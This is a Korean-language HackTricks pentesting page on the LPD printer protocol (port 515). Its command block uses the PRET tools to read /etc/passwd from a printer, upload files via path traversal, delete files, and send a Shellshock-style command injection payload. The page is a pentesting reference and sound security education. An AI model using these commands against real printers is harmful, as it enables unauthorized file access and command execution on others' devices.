hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

4.2 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

LPD 프로토콜 소개

1980년대에 라인 프린터 데몬 (LPD) 프로토콜이 버클리 유닉스에서 개발되었으며, 이후 RFC1179를 통해 공식화되었습니다. 이 프로토콜은 포트 515/tcp를 통해 작동하며, lpr 명령어를 통해 상호작용을 허용합니다. LPD를 통한 인쇄의 본질은 제어 파일(작업 세부정보 및 사용자 지정)과 데이터 파일(인쇄 정보를 포함) 전송에 있습니다. 제어 파일은 데이터 파일에 대한 다양한 파일 형식 선택을 허용하지만, 이러한 파일의 처리는 특정 LPD 구현에 따라 결정됩니다. 유닉스 계열 시스템에서 널리 인식되는 구현은 LPRng입니다. 특히, LPD 프로토콜은 악성 PostScript 또는 PJL 인쇄 작업을 실행하는 데 악용될 수 있습니다.

LPD 프린터와 상호작용하기 위한 도구

PRETlpdprintlpdtest라는 두 가지 필수 도구를 소개하며, LPD 호환 프린터와 상호작용하는 간단한 방법을 제공합니다. 이러한 도구는 데이터를 인쇄하는 것부터 프린터에서 파일을 조작하는 것(다운로드, 업로드 또는 삭제 등)까지 다양한 작업을 가능하게 합니다:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

프린터 해킹에 관심이 있는 개인을 위해 포괄적인 리소스를 여기에서 찾을 수 있습니다: Hacking Printers.

Shodan

  • port 515

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}